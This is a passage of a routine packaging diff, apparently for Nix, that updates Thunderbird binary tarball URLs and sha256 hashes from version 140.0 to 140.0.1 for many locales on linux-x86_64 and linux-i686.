+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/gl/thunderbird-140.0.1.tar.xz";
       locale = "gl";
       arch = "linux-x86_64";
-      sha256 = "70bbdf657b5a26309074c8690b7a040616255d0e45edfc9cb9cee4bbd700af6a";
+      sha256 = "8b57bddbe4d4f562d43a9b2da8c35919e7bda48702d1ec63b93010ae349287b9";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/he/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/he/thunderbird-140.0.1.tar.xz";
       locale = "he";
       arch = "linux-x86_64";
-      sha256 = "75567442db641f6f2604296b78173aa1cc1ea53bfa89d0a3e21d77877ef0a0ac";
+      sha256 = "cbee3d6d47e1b16e81667ff337511a8c71af1b504746401d1854a27d3118515e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/hr/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/hr/thunderbird-140.0.1.tar.xz";
       locale = "hr";
       arch = "linux-x86_64";
-      sha256 = "a4171c5177cdc925d378a94f87f76c0bf506b2bde0a45924bb624720f5563236";
+      sha256 = "5d767246ff4dc53882782f37c127af3b940b91c0ca072fbd7e3f42a581a72c34";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/hsb/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/hsb/thunderbird-140.0.1.tar.xz";
       locale = "hsb";
       arch = "linux-x86_64";
-      sha256 = "99655cc4b350dedad6e11bbfa8e083d950563cf812ff6ce89d7aa18f13ba864a";
+      sha256 = "1308739d5a755968a980c3ba86a83562f2f8d9ea2bf50d98c473f78e6048c08d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/hu/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/hu/thunderbird-140.0.1.tar.xz";
       locale = "hu";
       arch = "linux-x86_64";
-      sha256 = "9eb199a44fc710f2cbcedccc181208d6e4873eb0df81273758068b670c3dd240";
+      sha256 = "578af517d24f687782f492eb882e5a742ef720bc14b088c7220eb645b171eea7";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/hy-AM/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/hy-AM/thunderbird-140.0.1.tar.xz";
       locale = "hy-AM";
       arch = "linux-x86_64";
-      sha256 = "7f3f1efc50f72a3351a86840860e0775b7f28eca4f0029aed1ec93af82b8e4b3";
+      sha256 = "8770da6afa259858bfa61da294103e676a814a67db010b916b90bacfe2907d56";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/id/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/id/thunderbird-140.0.1.tar.xz";
       locale = "id";
       arch = "linux-x86_64";
-      sha256 = "b72756286ff157812d987234f89931605346f4f2d71c374fe262bfa538e58379";
+      sha256 = "7e905f63428eedef4003be7009d169052d3eaf971a82e7bc69017b18062b49a5";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/is/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/is/thunderbird-140.0.1.tar.xz";
       locale = "is";
       arch = "linux-x86_64";
-      sha256 = "348296059015e7a8dda122b71f7c3731be9de6fdad4f67cbecd88d1f1c468e15";
+      sha256 = "19595fb8ab803bd2539baefac671395d84af25fd51781fe648d5810e5bb6faa9";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/it/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/it/thunderbird-140.0.1.tar.xz";
       locale = "it";
       arch = "linux-x86_64";
-      sha256 = "e548f08ad67dab6b91f5156f6f1d3be2fec90fa1603e9fe95e9685465e16d68f";
+      sha256 = "1d5f76ea7bea62415af4f7b854033dee73a09304238f51716bc27c3dafd729e5";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/ja/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/ja/thunderbird-140.0.1.tar.xz";
       locale = "ja";
       arch = "linux-x86_64";
-      sha256 = "d551b224c9ab2f28d7414c1f939a90cd3203c5d07142aea72784d1f28282aec1";
+      sha256 = "9676d3e5bf62440e663dd8358a3ffa298226ac61074d03e90a1c42960ef4cb55";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/ka/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/ka/thunderbird-140.0.1.tar.xz";
       locale = "ka";
       arch = "linux-x86_64";
-      sha256 = "84becb5da99d053735cea0d29957c2a7e3f1eb9fee96110159aafa1c5ed67767";
+      sha256 = "9dba085a2fcbdd3c77d9f26a0d1bec370122ef8d50de913d01e9350415f1c6cd";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/kab/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/kab/thunderbird-140.0.1.tar.xz";
       locale = "kab";
       arch = "linux-x86_64";
-      sha256 = "69646edf14b7cec8912925c49c5a334a9d343aed3e938af29efd819b12d4ade2";
+      sha256 = "e41cbe7a6e1887609401fddbfc6fd220ec33bd130d1e53aa26fa456733aba42e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/kk/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/kk/thunderbird-140.0.1.tar.xz";
       locale = "kk";
       arch = "linux-x86_64";
-      sha256 = "2d6232763c573ef055ae10b059d0b0b597472d8070dd579821da1b20873415d2";
+      sha256 = "4c87a5d0e262752868af363b2c939cfc1e62571cc48116da7138b6e67aac769d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/ko/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/ko/thunderbird-140.0.1.tar.xz";
       locale = "ko";
       arch = "linux-x86_64";
-      sha256 = "15507a11e06c77b4d579074edf3cbff109da4cedf1a1fca0805e558e7db5ab86";
+      sha256 = "1a01a8187d3925c99482e90d1277781a9b7a51cd3c37c464fa113a72dd3c3c5d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/lt/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/lt/thunderbird-140.0.1.tar.xz";
       locale = "lt";
       arch = "linux-x86_64";
-      sha256 = "aab5591736adde55aa7d0e26e3441405de44f3052d9d575535d0d3904936fe83";
+      sha256 = "21215cf2d13c86495f831a5e42e74b61d863d7b78edd9877f7906d0cc8c8a127";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/lv/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/lv/thunderbird-140.0.1.tar.xz";
       locale = "lv";
       arch = "linux-x86_64";
-      sha256 = "75f4e93bc8b3a998a48015410dd7e4d341f2eab54efdfeaadb3bd69a13cf7645";
+      sha256 = "bf820774e8e3f97c18922b58586d71f5609090839cb487b43c1daba6e850680e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/ms/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/ms/thunderbird-140.0.1.tar.xz";
       locale = "ms";
       arch = "linux-x86_64";
-      sha256 = "20439444f08f44a8e85e7c44cb2362bbeaca0c5c911c46badeea47f1b342571d";
+      sha256 = "bc960650ce5f4bf1bacc00622f913de1cd79df4e87a8866d3de6d9ace93abeda";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/nb-NO/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/nb-NO/thunderbird-140.0.1.tar.xz";
       locale = "nb-NO";
       arch = "linux-x86_64";
-      sha256 = "ddbaaec2c26f5cf82ed4f4ad72b02700421c980eed7141aa690e9b56309ad2f7";
+      sha256 = "b1b4163aaebf2f5484b3b4a364bb37331583f912e3e70610e0847af2bf534fe9";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/nl/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/nl/thunderbird-140.0.1.tar.xz";
       locale = "nl";
       arch = "linux-x86_64";
-      sha256 = "21452959174a4b3f9395f97537aac634bdab54306f227b6f3335e1f564567e6a";
+      sha256 = "c178870ddc80c44d86618fa827efbc97de5307f6c3454e3274c0f168d4c06573";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/nn-NO/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/nn-NO/thunderbird-140.0.1.tar.xz";
       locale = "nn-NO";
       arch = "linux-x86_64";
-      sha256 = "57caf6a22fa2c95eb8fd9a52d7edb081fd7d1549ccf017ebbb7fc489c9a45bf7";
+      sha256 = "72a71402900b3534f40dee8decbdb801ff18d23e55a22d9c66ff7eba81426fe2";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/pa-IN/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/pa-IN/thunderbird-140.0.1.tar.xz";
       locale = "pa-IN";
       arch = "linux-x86_64";
-      sha256 = "e6c849b01908011bdda27cc672837fc3f3fdfd54c114ea5c6f9c43ad301c9fa8";
+      sha256 = "641497c3d0254db53cf139b9809aa034da1949593a7ade3dc5b55702d5d493d5";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/pl/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/pl/thunderbird-140.0.1.tar.xz";
       locale = "pl";
       arch = "linux-x86_64";
-      sha256 = "ccc6121aad53aff78753503996eb10a921b3fd6259165f87841700572efaf4e6";
+      sha256 = "b14097757c38ec6fce9eab5f1a3abec6c10bdd17cadd2108824436320e995631";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/pt-BR/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/pt-BR/thunderbird-140.0.1.tar.xz";
       locale = "pt-BR";
       arch = "linux-x86_64";
-      sha256 = "7cabbc00f73f8ff0f6d86a663bea9930564ed7b27216fb2bc989069a04fc50fc";
+      sha256 = "506e7df49d5f60f0a3fd0704d79a9f51d8b1f488c22c1d20da0309904cae4f3a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/pt-PT/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/pt-PT/thunderbird-140.0.1.tar.xz";
       locale = "pt-PT";
       arch = "linux-x86_64";
-      sha256 = "934cec97e4323853f85897e696b6547c3d00488c3d711621a9dffae12e5200eb";
+      sha256 = "1f9f24983dfd1ee788a499a4a77957e8d36983ab6e46335507a460014eeb72b3";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/rm/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/rm/thunderbird-140.0.1.tar.xz";
       locale = "rm";
       arch = "linux-x86_64";
-      sha256 = "ffb0a2f9758b86a6d690cd3454b4365346be563cdbc2985f0f8891a6e217c592";
+      sha256 = "9700211627a83f03f3cab7f8369bc8ba403902f4a55314dd1e4322f4a1683dd1";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/ro/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/ro/thunderbird-140.0.1.tar.xz";
       locale = "ro";
       arch = "linux-x86_64";
-      sha256 = "8e7df89c2f0f0cd98c54476daa018063504af2d46e645e0746518650e5edd3dc";
+      sha256 = "4cb8d28246d5885c5712d3b14791956be97b11fcd17d64ec065ce7566c948a47";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/ru/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/ru/thunderbird-140.0.1.tar.xz";
       locale = "ru";
       arch = "linux-x86_64";
-      sha256 = "2eaa88a13225228150c8cc61bc1ac1e9e199ee7d223bcbc20a6b6150bea54e91";
+      sha256 = "e34ea642a23a33e580132dbd024b247a44bbddbf4f6e5253a33af2f9ad36c2d1";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/sk/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/sk/thunderbird-140.0.1.tar.xz";
       locale = "sk";
       arch = "linux-x86_64";
-      sha256 = "110160e8de26053558531b7adfaecd14e4b898ffe4159821cf524904e7d4eabd";
+      sha256 = "3604a776b155d80edd5c4e942ca12e23bb83651234c876c13390c9feaa2480e7";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/sl/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/sl/thunderbird-140.0.1.tar.xz";
       locale = "sl";
       arch = "linux-x86_64";
-      sha256 = "d72793cbb7e62261ce04f9aeb0590a67363108f10d39dda0fb72e4ef82fd7917";
+      sha256 = "08d470138adaeda70976c6706aaaa4754ec32f69a5044fe7a04cb007d78339eb";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/sq/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/sq/thunderbird-140.0.1.tar.xz";
       locale = "sq";
       arch = "linux-x86_64";
-      sha256 = "54786c45ee8bc52cbf9b4e7aac2c5f106652619e1f887468dcac430cb594799d";
+      sha256 = "ff58223773437244fcd615b127c03d8c30e9dc020ee9e529bdc5a7643d37656c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/sr/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/sr/thunderbird-140.0.1.tar.xz";
       locale = "sr";
       arch = "linux-x86_64";
-      sha256 = "eb153716a80c183b02fa952371af879027e492062f8d2fa522008a07384155ab";
+      sha256 = "7c4170db6314b40941e7cf0a1492c275c73dda8099586284e095377fb2b710bb";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/sv-SE/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/sv-SE/thunderbird-140.0.1.tar.xz";
       locale = "sv-SE";
       arch = "linux-x86_64";
-      sha256 = "32cb08c8772a0d3339e1685450a9d5ead03d6e230f730484e94f9bcfe3e6d757";
+      sha256 = "ed50fef91c4c436beac8fd234a60e348fed00759b8782e1dacb0564e40a097a1";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/th/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/th/thunderbird-140.0.1.tar.xz";
       locale = "th";
       arch = "linux-x86_64";
-      sha256 = "76acd6bbf6a2fa568b6c4cf65211efe0574402bc0951346fce02f2ba4928065a";
+      sha256 = "9858128f20706d9d420b66e180c5e7d48296604aa9c346450dbc1c22fc445be6";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/tr/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/tr/thunderbird-140.0.1.tar.xz";
       locale = "tr";
       arch = "linux-x86_64";
-      sha256 = "5b4856017192421d304f0daf2eb1e62002b45a9f0a0a75041fb9e9f6517514d8";
+      sha256 = "bd88192e0eaffd644257a34380d0e923a0222c0e4043af152c7f0024d7e6d62e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/uk/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/uk/thunderbird-140.0.1.tar.xz";
       locale = "uk";
       arch = "linux-x86_64";
-      sha256 = "f8585be150061fe2ff91efed3680cdc3375a27aeb9d390dccff3f72fb2ad79aa";
+      sha256 = "507813117cf298e6540dde0c60be3448e3140b8dfd08b224ecb714757c01e877";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/uz/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/uz/thunderbird-140.0.1.tar.xz";
       locale = "uz";
       arch = "linux-x86_64";
-      sha256 = "93ee30de280017844ae7b1fbbeb37ac365ed7ecae7aca9c8a763280a0d79b924";
+      sha256 = "b4beb6fcd4e509e16a27991375c5e33aee194767f6cf5908912a2f197ca146f8";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/vi/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/vi/thunderbird-140.0.1.tar.xz";
       locale = "vi";
       arch = "linux-x86_64";
-      sha256 = "a40a3ebae3e7dc588a55849461248e0ef3f68d365f46453a174e80188c29cac5";
+      sha256 = "b44a1b5b38cfffc9598b20dc88aae6e558181a78ee718eeeaa8dfc1aadb6aedc";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/zh-CN/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/zh-CN/thunderbird-140.0.1.tar.xz";
       locale = "zh-CN";
       arch = "linux-x86_64";
-      sha256 = "a26e6e39bd829a21a2064af6d81f8d0e8d8546400c5657ce6d8b78ff4c2b26ac";
+      sha256 = "43f229fcf6caed6433b94e6096f96c4dbfd99ec108057d41ebbad132284c291e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-x86_64/zh-TW/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/zh-TW/thunderbird-140.0.1.tar.xz";
       locale = "zh-TW";
       arch = "linux-x86_64";
-      sha256 = "6bc03ef62ff76a62a3509e217164708e84b1d666362cc3de8b8c7db89c810531";
+      sha256 = "5df482a93f1fcf22a2bc5608f7967b1f520887b64909af28c19f13489e849dd2";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/af/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/af/thunderbird-140.0.1.tar.xz";
       locale = "af";
       arch = "linux-i686";
-      sha256 = "a91fefe7408d62f7ea0af18a3fd108b252a03b5a25624ba1d3caf12d02881a08";
+      sha256 = "4820ec73ac8ecf5819e0cc8c9f84825a995836d3d3707cc24835e21969554823";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/ar/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/ar/thunderbird-140.0.1.tar.xz";
       locale = "ar";
       arch = "linux-i686";
-      sha256 = "a41b7756988ff75a04319d93cd3348d4f9b74c1a10922070e53251ecc9e68c4a";
+      sha256 = "ad1d5f4b5013d8e7bdd8516a1b25c686a3f71fdf8ec55a7394f048436c5c6b4c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/ast/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/ast/thunderbird-140.0.1.tar.xz";
       locale = "ast";
       arch = "linux-i686";
-      sha256 = "9fd09f2fa6760b158bbd038d0bb17549a2c5dd1aa0daf62a816cb649c3c2ba12";
+      sha256 = "48e41656059d76d401046e46469df9546373a61cd991aa7c26f22e54f7080396";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/be/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/be/thunderbird-140.0.1.tar.xz";
       locale = "be";
       arch = "linux-i686";
-      sha256 = "49235072baf87ff33fa292951e47cfb53fb2bff6538eb827b34e9b16f034e072";
+      sha256 = "d4f2feffa4ddeb6de4c59e7694242586a9608a2176c4589dd8594055835fd968";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/bg/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/bg/thunderbird-140.0.1.tar.xz";
       locale = "bg";
       arch = "linux-i686";
-      sha256 = "4c7f9e9139539ff49f16b6ce1cfece5fc6d81a611ced6a87733c0e52a90fb5e1";
+      sha256 = "e581ef479a4cecb4e2280a272f4779255b6515c6e8235295977e281f9f805f39";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/br/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/br/thunderbird-140.0.1.tar.xz";
       locale = "br";
       arch = "linux-i686";
-      sha256 = "5537cc4c623567dbb8e608eae176472c153ac2e4fe84ea4ff3ad39b6b72ebe58";
+      sha256 = "d2155610d0d385b723f44f12d4525617e50ad607d327465938bf2f6ef93cad1e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/ca/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/ca/thunderbird-140.0.1.tar.xz";
       locale = "ca";
       arch = "linux-i686";
-      sha256 = "905ef4d1afd39ecc32846be863745b8bbcf9ff11ee3df861040b5db27375d5ac";
+      sha256 = "0a75c9e5b7174567cf39f7aa7528eed9f3f962f3546b53c307409e4d18da7851";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/cak/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/cak/thunderbird-140.0.1.tar.xz";
       locale = "cak";
       arch = "linux-i686";
-      sha256 = "96203f34b37aa25641dcc5becf358765c177a68909bb419606356cb77764c9b4";
+      sha256 = "9fd908a39bb69c0c4cb9d8c50393600ed45598a635675e72cf663f2bae19d8a2";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/cs/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/cs/thunderbird-140.0.1.tar.xz";
       locale = "cs";
       arch = "linux-i686";
-      sha256 = "fb13f8fd08bafa5e39b7ba2148ad78d77bd5b7e16d977a7bfd9211099f69eca6";
+      sha256 = "377d91c1d2d3d9d4b204c7519f8525e6689288325dc06b40844f17dc210bdb22";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/cy/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/cy/thunderbird-140.0.1.tar.xz";
       locale = "cy";
       arch = "linux-i686";
-      sha256 = "9611ac5b70716dde90d5362c7f8e11fc34b091eaffe350d02513e540f92c9ed0";
+      sha256 = "c43511a8179ab380f60afe592645dae7ce6b60944c6ef4c3ecbd529dbd962373";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/da/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/da/thunderbird-140.0.1.tar.xz";
       locale = "da";
       arch = "linux-i686";
-      sha256 = "436e3018bddb83cc5aa84077362259f3efca6c28e2860141b9af13da670e4d3c";
+      sha256 = "19524c477246ed80bd1197e249ca34c0c03a5e33f738a5d305909b3e02110c93";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/de/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/de/thunderbird-140.0.1.tar.xz";
       locale = "de";
       arch = "linux-i686";
-      sha256 = "9fc2ff5ce2d4b15a1b0cbaa0f29cbff86ee541ee1fae98b9a802bdf14a7d4089";
+      sha256 = "80cf303e53feb7d20a599a45d348cccc6a1c485740fd2a7341bbff8545ce52d0";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/dsb/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/dsb/thunderbird-140.0.1.tar.xz";
       locale = "dsb";
       arch = "linux-i686";
-      sha256 = "8578968b77b28132a8fb48c29df104b610058e861d4433767a1f4a4062b6ba10";
+      sha256 = "e219aa440fdd36efe17c5a7fd3601963cbd78b1ff4f6f22c7e35ffda340f5fb3";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/el/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/el/thunderbird-140.0.1.tar.xz";
       locale = "el";
       arch = "linux-i686";
-      sha256 = "65d2972306ab4db693279b3b5f48c212eb9cd03d3e123b3022f9497b774516ed";
+      sha256 = "cd0da4150cb097f1be0f1f147d5dadfd4eabff0aa002126ed758ae79570be542";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/en-CA/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/en-CA/thunderbird-140.0.1.tar.xz";
       locale = "en-CA";
       arch = "linux-i686";
-      sha256 = "d7994fc12415eebd76819c884838e2d835227e2430be681bd133414d55d672f3";
+      sha256 = "6f534ea4f43229f638e3d44133482f52381ed887e5bbe49a340172efcf37cb44";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/en-GB/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/en-GB/thunderbird-140.0.1.tar.xz";
       locale = "en-GB";
       arch = "linux-i686";
-      sha256 = "4a3b31487a8ca4c11c2a1490e3fdd392bfa7d95ef3522b50d43ea42455e65733";
+      sha256 = "5121d7102021de8aa1e22415cb9fed87140a1c91f7cc1c58ca96ddd5db02fa50";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/en-US/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/en-US/thunderbird-140.0.1.tar.xz";
       locale = "en-US";
       arch = "linux-i686";
-      sha256 = "3864e8e76cf4bd95a35bd4a9668fe6d2bb2d4d20a09359f6f3247a5f0d9ed40c";
+      sha256 = "df5eb3f9483977dec3352f99a9eb7a81d4a1e6d474f468910098414138f56894";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/es-AR/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/es-AR/thunderbird-140.0.1.tar.xz";
       locale = "es-AR";
       arch = "linux-i686";
-      sha256 = "79cf6de1fd1539f4590c72b6792df914785c0b98e012e375723236df36db1c18";
+      sha256 = "ea62dccc0b48573c05b7b8fc8d6fe0cc3a6bc4254cb18930fcf4e16c2bd0789f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/es-ES/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/es-ES/thunderbird-140.0.1.tar.xz";
       locale = "es-ES";
       arch = "linux-i686";
-      sha256 = "a94f0873c03dda93463985af28c2b1732b57f84a90a6b1aeaea15c2c068457ad";
+      sha256 = "109c02dc09b3718e72897b2b0125ec5b217577dd628246936632ad54817362bf";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/es-MX/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/es-MX/thunderbird-140.0.1.tar.xz";
       locale = "es-MX";
       arch = "linux-i686";
